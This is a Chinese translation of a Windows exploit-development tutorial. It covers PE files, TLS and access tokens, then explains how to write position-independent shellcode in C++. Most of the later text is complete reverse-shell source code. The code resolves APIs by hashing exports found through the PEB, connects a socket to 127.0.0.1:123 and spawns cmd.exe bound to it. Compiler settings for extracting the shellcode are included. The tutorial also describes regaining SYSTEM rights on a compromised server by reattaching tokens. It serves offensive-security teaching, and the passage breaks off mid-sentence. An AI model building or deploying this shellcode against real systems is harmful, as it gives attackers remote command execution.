from:http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/
這篇文章簡要講述Windows開發者應該了解的一些常識。
Windows的主要API由多個DLLs(Dynamic?Link?Libraries
)提供。某個應用可以從那些DLL
中導入函數并且對它們進行調用。這樣就保證了普通用戶態應用程序的可移植性。
執行體和DLL
都是PE(Portable?Executable
)文件。每個PE含有一個導入和導出表。導入表指定導入函數以及這些函數所在的文件(模塊)。導出表指定導出函數,等等。函數可以被導入到其它的PE文件。
PE
文件由多個節(section
)組成(代碼節,數據節,等等…)。在內存中,?.reloc
節中具有重定位可執行體或DLL
的信息。在內存中,雖然有些代碼(例如相對的jmp
指令)的地址是相對的,但是多數代碼所在的地址是絕對的,這取決于被加載的模塊。
Windows loader
從當前工作目錄開始搜索DLLs
,發布的某個應用可能具有一個不同于系統根(\windows\system32
)目錄中的DLL
。該版本方面的問題(不兼容)被一些人稱作DLL-hell
。
重要的是理解相對虛擬內存地址 (Relative?Virtual?Address
,RVA)的概念。PE
文件提供RVAs
來指定模塊的相對基地址。換句話說,在內存中,如果某個模塊在地址B(基地址)上被加載并且某個元素在該模塊中具有RVA
為X這一偏移量,那么該元素的虛擬內存地址(Virtual?Address
,VA)偏移量為B+X
。
如果你過去經常使用Windows平臺,那么應該非常了解線程的概念。但是,如果你經常使用的是Linux,那么請記住,Windows平臺將會為線程提供CPU
時間片。你可以用CreateProcess()
創建新進程并且用CreateThreads()
創建新線程。線程會在它們所在進程的地址空間內執行,因此它們所在的內存是共享的。
線程也會被一種稱作TLS(Thread Local Storage
)的機制限制,該機制為線程提供了非共享內存。
基本上,每個線程的TEB
都含有一個TLS
數組,它具有64個DWORD
值,并且在運行過程中超出TLS
數組的有效元素個數時,會為額外的TLS
數組分配1024個DWORD
值。首先,兩個數組中的一個數組的每個元素會對應一個索引值,該索引值必須被分配或使用TlsAlloc()
來得到,可以用TlsGetValue
(index)?來讀取DWORD
值并用TlsSetValue
(index, newValue)將其寫入。如,在當前線程的TEB
中,TlsGetValue
(7)表示從TLS
數組中索引值為7的地址上讀取DWORD
值。
筆記:我們可以通過使用GetCurrentThreadId()
來模擬該機制,但是不會有一樣的效果。
令牌通常用于描述訪問權限。就像文件句柄那樣,令牌僅僅是一個32位整數。每個進程具有一個內部結構,該結構含有關于訪問權限的信息,它與令牌相關聯。
令牌分為兩種類型:主令牌和模仿令牌。無論何時,某個進程被創建后都會被分配一個主令牌。進程的每個線程都可以擁有進程的令牌,或從另一進程中獲取模仿令牌。如果LogonUser()
函數被調用,則會返回一個不能被使用于CreateProcessAsUser()
的模仿令牌(提供憑據),除非你調用了DupcateTokenEx
來將其轉換為主令牌。
可以使用SetThreadToken
(newToken)?將某個令牌附加到當前線程并且可以使用RevertToSelf()
來將該令牌刪除,從而讓線程的令牌還原為主令牌。
我們來了解下在Windows平臺上,將某個用戶連接到服務器并發送用戶名和密碼的情況。首先以SYSTEM
身份運行服務器,將會調用具有憑據的LogonUser()
,如果成功則返回新令牌。接著會在服務器創建新線程的同時調用SetThreadToken
(new_token),new_token
參數是一個由?LogonUser()
返回的令牌值。這樣,線程被執行時就具有與用戶一樣的權限。當線程完成了對客戶端的服務時,或者會被銷毀,或者將調用revertToSelf()
?而被添加到線程池的空閑線程隊列中。
如果可以控制服務器,那么可通過調用RevertToSelf()
,或在內存中查找其它的令牌并使用SetThreadToken()
函數將它們附加到當前線程,從而恢復當前線程的權限,即SYSTEM
權限。
值得注意的是,CreateProcess()
使用主令牌作為新進程的令牌。當具有比主令牌更高權限的模仿令牌的線程調用CreateProcess()
時存在一個問題,那就是新進程的權限會低于創建該進程的線程。
解決方案是使用DuplicateTokenEx()
從當前線程的模擬令牌中創建一個新的主令牌,接著通過調用具有新的主令牌的CreateProcessAsUser()
?創建新進程。
Shellcode
是一段被exploit
作為payload
發送的代碼,它被注入到存在漏洞的應用,并且會被執行。Shellcode
是自包含的,并且應該不含有null
字節。通常使用函數如strcpy()
來復制shellcode
,在進行該復制過程中遇到null
字節時,將停止復制。這樣做會導致shellcode
不能被完全復制。 Shellcode
一般直接由匯編語言編寫,但是,在這篇文章中,我們將通過Visual Studio 2013
使用c/c++
來開發shellcode
。在該開發環境下進行開發的好處如下:
1.花費更短的開發時間。
2.智能提示(intellisense
)。
3.易于調試。
我們將使用VS2013
來生成一個具有shellcode
的執行體,也將使用python
腳本來提取并修復(移除null
字節)shellcode
。
為了編寫浮動地址代碼(position independent code
),我們必須使用棧變量。這意味著我們不能這么寫。
char *v = new char[100];
因為那數組將被分配到棧。根據絕對地址,試著從msvcr120.dll
?中調用new
函數:
00191000 6A 64 push 64h
00191002 FF 15 90 20 19 00 call dword ptr ds:[192090h]
地址192090h
上包含函數的地址。在沒有依賴導入表以及Windows loader
的情況下,要調用某庫中已導入的函數,我們必須直接這么做。 另一個存在的問題是,新操作符可能需要某種通過c/c+
+語言編寫的運行時組件來完成的初始化操作。
不能使用全局變量:
int x;
?
int main() {
??x = 12;
}
上面的代碼 (如果沒有被優化)生成如下:
008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov dword ptr ds:[8E9130h],0Ch
地址8E9130h
為變量x的絕對地址。
如果我們編寫如下,會導致字符串存在問題
char str[] = "I'm a string";
printf(str);
字符串將被放入執行體的.rdata
節中,并且會對其進行絕對地址引用。
在shellcode
中不得使用printf
:這只是一個了解str
如何被引用的范例。
這是asm
代碼:
00A71006 8D 45 F0 lea eax,[str]
00A71009 56 push esi
00A7100A 57 push edi
00A7100B BE 00 21 A7 00 mov esi,0A72100h
00A71010 8D 7D F0 lea edi,[str]
00A71013 50 push eax
00A71014 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71015 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71016 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71017 A4 movs byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00 call dword ptr ds:[0A72090h]
正如你所看到的,字符串位于.rdata
節中,地址為A72100h
,通過movsd
和movsb
指令的執行,它會被復制進棧(str
指向棧)。注意:A72100h
為絕對地址。顯然該代碼不是地址無關的。
如果我們這樣寫:
char *str = "I'm a string";
printf(str);
那么字符串仍然會被放入.data節,但不會被復制進棧:
00A31000 68 00 21 A3 00 push 0A32100h
00A31005 FF 15 90 20 A3 00 call dword ptr ds:[0A32090h]
字符串在.rdata
節中,絕對地址為A32100h
。
如何讓該代碼地址無關?
更簡單的(部分)解決方案:
char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
對應的匯編代碼如下:
012E1006 8D 45 F0 lea eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov dword ptr [str],206D2749h
012E1010 50 push eax
012E1011 C7 45 F4 61 20 73 74 mov dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00 mov byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01 call dword ptr ds:[12E2090h]
除了對printf
的調用外,該段代碼是地址無關的,因為字符串部分被直接編碼進了mov
指令的源操作數中。一旦該字符串在棧上,則可以被使用。
不幸的是,當字符串達到一定長度時,該方法就失效了。代碼為:
char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);
生成
013E1006 66 0F 6F 05 00 21 3E 01 movdqa xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8 lea eax,[str]
013E1011 50 push eax
013E1012 F3 0F 7F 45 E8 movdqu xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67 mov word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00 mov byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01 call dword ptr ds:[13E2090h]
正如你所看到的,當字符串的其它部分像之前那樣被編碼進mov指令的源操作數中時,字符串部分將被定位在.rdata節中,地址為13E2100h。
我已提出的解決方案如下:
char *str = "I'm a very long string";
同時使用Python
腳本修復shellcode
。該腳本需要從.rdata
節中提取被引用的字符串,并將它們放入到shellcode
中,然后修復重定位信息。我們馬上會了解到該實現方法。
在C/C++
代碼中,我們不能編寫
WaitForSingleObject(procInfo.hProcess, INFINITE);
因為kernel32.dll
中已導入了“WaitForSingleObject
”函數。
在nutshell
中,PE
文件含有導入表和導入地址表(IAT
)。導入表含有被導入到庫中的函數的信息。當執行體被加載時,通過Windows loader
編譯IAT
,并且其含有已導入的函數地址。該執行體的代碼用間接尋址調用已導入到庫中的函數。例如:
001D100B FF 15 94 20 1D 00 call dword ptr ds:[1D2094h]
地址1D2094h
為入口地址(在IAT
中),該地址含有函數?MessageBoxA
的地址。因為如上調用函數的地址無需被修復(除非執行體被重定位),所以可以直接使用該地址。Windows loader
只需要修復的是在1D2094h
地址,該dword
值是MessageBoxA
函數的地址。
解決方案是直接從Windows
的數據結構中得到Windows
的函數地址。之后我們將會了解到。
通過?File→New→Project…
, 選擇?Installed→Templates→Visual C++→Win32→Win32 Console Application
, 為項目命名 (我將其命名為?shellcode
) 接著點擊OK。
通過?Project→<project name> properties
?將出現新會話框。通過將?Configuration
(會話的左上方)設置為All Configurations
將修改應用到所有配置(Release
和Debug
)。接著,展開Configuration Properties
并且在General
?下修改Platform Toolset
?。該編譯器為Visual C++ Compiler Nov 2013 CTP
(CTP_Nov2013)。
這樣你將可以使用C++11
和C++14
的一些特性,如static_assert
。
這是一段簡單的反向shell
代碼(定義)。將命名為shellcode.cpp
的文件添加到項目中并將該代碼復制到shellcode.cpp
。不要試圖理解所有的代碼。后面我們還會對其進行進一步的討論。
// Simple reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".
?
#include <WinSock2.h>?????????????? // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>
?
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))
?
_inline PEB *getPEB() {
????PEB *p;
????__asm {
????????mov???? eax, fs:[30h]
????????mov???? p, eax
????}
????return p;
}
?
DWORD getHash(const char *str) {
????DWORD h = 0;
????while (*str) {
????????h = (h >> 13) | (h << (32 - 13));?????? // ROR h, 13
????????h += *str >= 'a' ? *str - 32 : *str;????// convert the character to uppercase
????????str++;
????}
????return h;
}
?
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
????return getHash(moduleName) + getHash(functionName);
}
?
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
????int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
????return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
?
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
//?????? ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
????PEB *peb = getPEB();
????LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
????LIST_ENTRY *ptr = first;
????do {????????????????????????????// for each module
????????LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
????????ptr = ptr->Flink;
?
????????BYTE *baseAddress = (BYTE *)dte->DllBase;
????????if (!baseAddress)?????????? // invalid module(???)
????????????continue;
????????IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
????????IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
????????DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
????????if (!iedRVA)????????????????// Export Directory not present
????????????continue;
????????IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
????????char *moduleName = (char *)(baseAddress + ied->Name);
????????DWORD moduleHash = getHash(moduleName);
?
????????// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
????????// element of both arrays refer to the same function. The first array specifies the name whereas
????????// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
????????// AddressOfFunctions to find the entry point of the function.
????????DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
????????for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
????????????char *functionName = (char *)(baseAddress + nameRVAs[i]);
????????????if (hash == moduleHash + getHash(functionName)) {
????????????????WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
????????????????DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
????????????????return baseAddress + functionRVA;
????????????}
????????}
????} while (ptr != first);
?
????return NULL;????????????// address not found
}
?
#define HASH_LoadLibraryA?????????? 0xf8b7108d
#define HASH_WSAStartup???????????? 0x2ddcd540
#define HASH_WSACleanup???????????? 0x0b9d13bc
#define HASH_WSASocketA???????????? 0x9fd4f16f
#define HASH_WSAConnect???????????? 0xa50da182
#define HASH_CreateProcessA???????? 0x231cbe70
#define HASH_inet_ntoa??????????????0x1b73fed1
#define HASH_inet_addr??????????????0x011bfae2
#define HASH_getaddrinfo????????????0xdc2953c9
#define HASH_getnameinfo????????????0x5c1c856e
#define HASH_ExitThread???????????? 0x4b3153e0
#define HASH_WaitForSingleObject????0xca8e9498
?
#define DefineFuncPtr(name)???? decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
?
int entryPoint() {
//??printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
//??return 0;
?
????// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
????//?????? they're not strictly needed.
?
????DefineFuncPtr(LoadLibraryA);
?
????My_LoadLibraryA("ws2_32.dll");
?
????DefineFuncPtr(WSAStartup);
????DefineFuncPtr(WSASocketA);
????DefineFuncPtr(WSAConnect);
????DefineFuncPtr(CreateProcessA);
????DefineFuncPtr(inet_ntoa);
????DefineFuncPtr(inet_addr);
????DefineFuncPtr(getaddrinfo);
????DefineFuncPtr(getnameinfo);
????DefineFuncPtr(ExitThread);
????DefineFuncPtr(WaitForSingleObject);
?
????const char *hostName = "127.0.0.1";
????const int hostPort = 123;
?
????WSADATA wsaData;
?
????if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))
????????goto __end;???????? // error
????SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
????if (sock == INVALID_SOCKET)
????????goto __end;
?
????addrinfo *result;
????if (My_getaddrinfo(hostName, NULL, NULL, &result))
????????goto __end;
????char ip_addr[16];
????My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
?
????SOCKADDR_IN remoteAddr;
????remoteAddr.sin_family = AF_INET;
????remoteAddr.sin_port = htons(hostPort);
????remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
?
????if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
????????goto __end;
?
????STARTUPINFOA sInfo;
????PROCESS_INFORMATION procInfo;
????SecureZeroMemory(&sInfo, sizeof(sInfo));????????// avoids a call to _memset
????sInfo.cb = sizeof(sInfo);
????sInfo.dwFlags = STARTF_USESTDHANDLES;
????sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
????My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
?
????// Waits for the process to finish.
????My_WaitForSingleObject(procInfo.hProcess, INFINITE);
?
__end:
????My_ExitThread(0);
?
????return 0;
}
?
int main() {
????return entryPoint();
}
通過Project→<project name> properties
, 展開?Configuration Properties
接著選擇?C/C++
。應用修改后的Release
配置。
這里是需要修改的設置:
這可能并不需要,但是我已將它們關閉了。
這很重要!我們得盡可能將shellcode
簡短。
* Inline Function Expansion: Only __inline (/Ob1)
使用這個設置告訴VS 2013
只用_inline
來定義內聯函數。 main()
?僅調用shellcode
的函數entryPoint
。如果函數?entryPoint
是簡短的,那么它可能會被內聯進main()
。這將是極糟的,因為main()
將不再透露shellcode
的后一部分(事實上它包含了該部分)。后面會了解到原因。
* Enable Intrinsic Functions: Yes (/Oi)
我不知道該設置是否應該關閉。
* Favor Size Or Speed: Favor small code (/Os)
* Whole Program Optimization: Yes (/GL)
不需要安全檢查!
* Enable Function-Level linking: Yes (/Gy)
通過Project→<project name> properties
, 展開Configuration Properties
接著查看Linker
。應用修改后的Release
配置。這里是你需要修改的相關設置:
告訴linker
生成含有EXE
結構的映射文件。
* Map File Name: mapfile
這是映射文件名。可自定義文件名。
該選項對于生成簡短的shellcode
來說非常重要,因為可以除去函數以及不被代碼引用的數據。
* Enable COMDAT Folding: Yes (/OPT:ICF)
* Function Order: function_order.txt
應用該設置讀取命名為function_order.txt
?的文件,該文件指定必須出現在代碼節中函數的順序。我們要將函數?entryPoint
變為代碼節中的第一個函數,可想而知,function_order.txt
中必存在一行代碼含有字符串?entryPoint@@YAHXZ
。可以在映射文件中找到該函數名。
該函數返回由某個出現在內存中的模塊(.exe
或.dll
)導出的某個函hash數的地址,已給出的``值與模塊和函數相關聯。當然,通過名字查找函數具有一定的可能性,但是這樣做需要考慮空間方面的問題,因為那些名字應該被包含在shellcode
中。在另一方面,一個hash
僅有4個字節。因為我們不使用兩個hash
(一個用于模塊,一個用于函數),getProcAddrByHash
需要考慮所有被加載進內存中的模塊。
通過user32.dll
導出函數MessageBoxA
,該函數的hash
值可通過如下方法計算:
DWORD hash = getFunctionHash("user32.dll", "MessageBoxA");
計算出的hash
值為getHash
(“user32.dll”)?與getHash
(“MessageBoxA”)的hash
值的總和。函數getHash
的實現簡明易懂:
DWORD getHash(const char *str) {
????DWORD h = 0;
????while (*str) {
????????h = (h >> 13) | (h << (32 - 13));?????? // ROR h, 13
????????h += *str >= 'a' ? *str - 32 : *str;????// convert the character to uppercase
????????str++;
????}
????return h;
}
正如你可以了解到的,hash
值是大小寫不敏感的(不區分大小寫),重要的是,因為在內存中,某種Windows的版本所使用的字符串都為大寫。 首先,getProcAddrByHash
獲取TEB(Thread?Environment?Block
)的地址:
PEB *peb = getPEB();
where
_inline PEB *getPEB() {
????PEB *p;
????__asm {
????????mov???? eax, fs:[30h]
????????mov???? p, eax
????}
????return p;
}
選擇子fs
與某個始于TEB
地址的段相關聯。在偏移30h
上,TEB
含有一個PEB(Process?Environment?Block
)指針。用WinDbg可以觀察到:
0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
<snip>
PEB
與當前的進程相關聯,除了別的以外,含有關于某些模塊的信息,這些模塊都被加載到進程地址空間中。 此處又是getProcAddrByHash
:
PVOID getProcAddrByHash(DWORD hash) {
????PEB *peb = getPEB();
????LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
????LIST_ENTRY *ptr = first;
????do {????????????????????????????// for each module
????????LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
????????ptr = ptr->Flink;
????????.
????????.
????????.
????} while (ptr != first);
?
????return NULL;????????????// address not found
}
此處為PEB
部分:
0:000> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00060000 Void
+0x00c Ldr : 0x76fd0200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00680000 Void
<snip>
在偏移0Ch
上,是一個被稱作Ldr
的字段,它是個PEB_LDR_DATA
?結構指針。使用WinDbg
進行觀察:
0:000> dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
InMemoryOrderModuleList
是一個LDR_DATA_TABLE_ENTRY
結構的雙鏈表,它與當前進程的地址空間中所加載的模塊相關聯。更確切地說,InMemoryOrderModuleList
?是一個LIST_ENTRY
,它含有兩個部分:
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
Flink
為前向鏈表,Blink
為后向鏈表。Flink
指向第一個模塊的LDR_DATA_TABLE_ENTRY
?。當然,未必就是如此:
Flink
指向一個被包含在結構LDR_DATA_TABLE_ENTRY
中的LIST_ENTRY
結構。
我們來觀察LDR_DATA_TABLE_ENTRY
?是如何被定義的:
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
InMemoryOrderModuleList.Flink
指向位于偏移為8的_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks
,因此,我們必須減去8來獲取?_LDR_DATA_TABLE_ENTRY
的地址。
首先,獲取Flink指針:
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
它的值是0x683080
,因此_LDR_DATA_TABLE_ENTRY
?結構的地址為0x683080 – 8 = 0x683078
:
0:000> dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
+0x018 DllBase : (null)
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x60000
+0x024 FullDllName : _UNICODE_STRING "蒮m????膪n???"
+0x02c BaseDllName : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
+0x034 Flags : 0x120010
+0x038 LoadCount : 0x2034
+0x03a TlsIndex : 0x68
+0x03c HashLinks : _LIST_ENTRY [ 0x4000 - 0xffff ]
+0x03c SectionPointer : 0x00004000 Void
+0x040 CheckSum : 0xffff
+0x044 TimeDateStamp : 0x6841b4
+0x044 LoadedImports : 0x006841b4 Void
+0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
+0x04c PatchInformation : 0x4ce7979d Void
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
+0x068 ContextInformation : 0x00686418 Void
+0x06c OriginalBase : 0x6851a8
+0x070 LoadTime : _LARGE_INTEGER 0x76f0c9d0
正如你可以看到的,我正在用WinDbg
調試calc.exe
!不錯:第一個模塊是執行體本身。重要的是DLLBase
?(c)字段。根據給出的模塊的基地址,我們可以分析被加載到內存中的PE
文件并獲取所有信息,如已導出的函數地址。 在getProcAddrByHash
中我們所做的:
?
BYTE *baseAddress = (BYTE *)dte->DllBase;
????if (!baseAddress)?????????? // invalid module(???)
????????continue;
????IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
????IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
????DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
????if (!iedRVA)????????????????// Export Directory not present
????????continue;
????IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
????char *moduleName = (char *)(baseAddress + ied->Name);
????DWORD moduleHash = getHash(moduleName);
?
????// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
????// element of both arrays refer to the same function. The first array specifies the name whereas
????// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
????// AddressOfFunctions to find the entry point of the function.
????DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
????for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
????????char *functionName = (char *)(baseAddress + nameRVAs[i]);
????????if (hash == moduleHash + getHash(functionName)) {
????????????WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
????????????DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
????????????return baseAddress + functionRVA;
????????}
????}
????.
????.
????.
了解PE文件格式的規范可以更好地理解該段代碼,這里不詳細講解。在PE文件結構中需要注意的是RVA(Relative?Virtual?Addresses
)。即相對于PE模塊(Dllbase
)中基地址的地址。例如,如果RVA
是100h
并且DllBase
是400000h
,那么指向數據的RVA
為400000h + 100h = 400100h
。 該模塊始于DOS_HEADER
?。它包含一個NT_HEADERS
的RVA
(e_lfanew)。FILE_HEADER
和OPTIONAL_HEADERNT_HEADERS
存在于NT_HEADERS
。 OPTIONAL_HEADER
含有一個被稱作DataDirectory
的數組,該數組指向PE
模塊的多個目錄。了解Export Directory
可參考鏈接https://msdn.microsoft.com/en-us/library/ms809762.aspx中提到的相關細節。
如下C結構體與Export Directory
相關聯,其定義如下:
typedef struct _IMAGE_EXPORT_DIRECTORY {
????DWORD?? Characteristics;
????DWORD?? TimeDateStamp;
????WORD????MajorVersion;
????WORD????MinorVersion;
????DWORD?? Name;
????DWORD?? Base;
????DWORD?? NumberOfFunctions;
????DWORD?? NumberOfNames;
????DWORD?? AddressOfFunctions;???? // RVA from base of image
????DWORD?? AddressOfNames;???????? // RVA from base of image
????DWORD?? AddressOfNameOrdinals;??// RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
DefineFuncPtr
?是一個宏,它有助于定義一個已導入的函數指針. 這是范例:
#define HASH_WSAStartup?????????? 0x2ddcd540
?
#define DefineFuncPtr(name)?????? decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
?
DefineFuncPtr(WSAStartup);
WSAStartup
函數是ws2_32.dll
中已導入的函數,因此通過該方法計算HASH_WSAStartup
DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup");
當宏被展開時,
DefineFuncPtr(WSAStartup);
變為
decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)
decltype(WSAStartup)
為?WSAStartup
函數的類型。這樣,我們無需重定義函數原型。注意:在C++11
中有關于?decltype
的描述。
現在我們可通過My_WSAStartup
調用?WSAStartup
注意:從模塊中導入函數之前,我們需要確保已經在內存中加載了這個模塊。
最簡單的方法是使用LoadLibrary
加載模塊。
DefineFuncPtr(LoadLibraryA);
??My_LoadLibraryA("ws2_32.dll");
該操作有效,因為kernel32.dll
中已導入了LoadLibrary
,正如我們說過的,它總會出現在內存中。
我們也可以導入GetProcAddress
并使用它來獲取所有其它我們需要的函數地址,但是沒必要這么做,因為我們需要將所有的函數名包含在shellcode
中。
顯然,entryPoint
是shellcode
和實現反向shell
的入口點。首先,我們導入所有我們需要的函數,接著我們使用它們。細節不重要并且我不得不說winsock API
的使用非常麻煩。
在nutshell
中:
1.創建套接字, 2.將套接字連接到127.0.0.1:123
, 3.創建一個執行cmd.exe
